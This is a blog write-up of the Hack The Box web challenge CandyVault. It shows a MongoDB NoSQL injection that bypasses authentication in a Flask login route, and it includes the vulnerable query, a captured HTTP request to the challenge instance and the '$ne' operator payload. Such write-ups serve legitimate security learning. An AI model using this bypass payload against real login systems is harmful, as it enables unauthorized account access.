Hack The Box – CandyVault

Hack The Box CandyVault

CandyVault is a very easy web challenge created by leanthedev on Hack The Box. Solving this challenge required performing a MongoDB noSQL authentication bypass. Hello world, welcome to haxez where today I will be looking at CandyVault.

CandyVault Application Enumeration

I spawned the instance and fired up OWAPS ZAP. I navigated to the IP address in the browser and had a look around. Other than a login form, there wasn’t much to see on the application except the spooky ghost. I ran an Ajax Spider but that didn’t return much. After that, I ran an active scan which didn’t find anything. Yet another example of why it is important to manually test things as tools don’t always find bugs.

CandyVault Application Enumeration

Source Code Review

As my initial attempts to find a vulnerability were fruitless, I download the application files and started going through them. I loaded up the app.py file and didn’t understand what the if statements were doing at all. There was some logic on the login route but I didn’t have a clue what it was doing. So I headed to chat GPT and asked it to help me understand the code.

Source Code Review

The vulnerability in this Flask application lies in the MongoDB query inside the /login route:

user = users_collection.find_one({"email": email, "password": password})

Since user input is directly inserted into the query without validation, an attacker can send a malicious JSON payload with MongoDB operators (e.g., {“email”: {“$ne”: null}, “password”: {“$ne”: null}}) to manipulate the query logic. Because $ne: null (not equal to null) is always true, MongoDB returns the first user in the database, allowing an authentication bypass. The attack works only when Content-Type: application/json is set, ensuring Flask parses the input as a dictionary rather than a plain string.

Exploiting CandyVault

With that in mind, I turned on breaks in ZAP and captured a login request. I changed the content type to application/json:

POST http://94.237.54.116:45555/login HTTP/1.1
Host: 94.237.54.116:45555
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:134.0) Gecko/20100101 Firefox/134.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-GB,en;q=0.5
Content-Type: application/json
Content-Length: 24
Origin: https://94.237.54.116:45555
Connection: keep-alive
Referer: https://94.237.54.116:45555/
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Sec-Fetch-User: ?1
Priority: u=0, i

and modified the body to a NoSQLI authenticiation bypass:

{
	"email": {
		"$ne": 0
	},
	"password": {
		"$ne": 0
	}
}
Exploiting CandyVault

I then clicked continue to forward the request and I was logged in to the application and could see the flag.

CandyVault Flag

CandyVault Learnings

I haven’t done many NoSQLi challenges or boxes before so this was new to me. Or perhaps I have done one before but didn’t understand it all that well. I don’t understand this one all that well either. The code I mean. I understand that the username and password parameters are being passed directly to the query. I understand that the request needs to be converted to content type json in order for the server to understand it, but everything else is still a bit foggy. Hopefully there is an academy module on NoSQLI.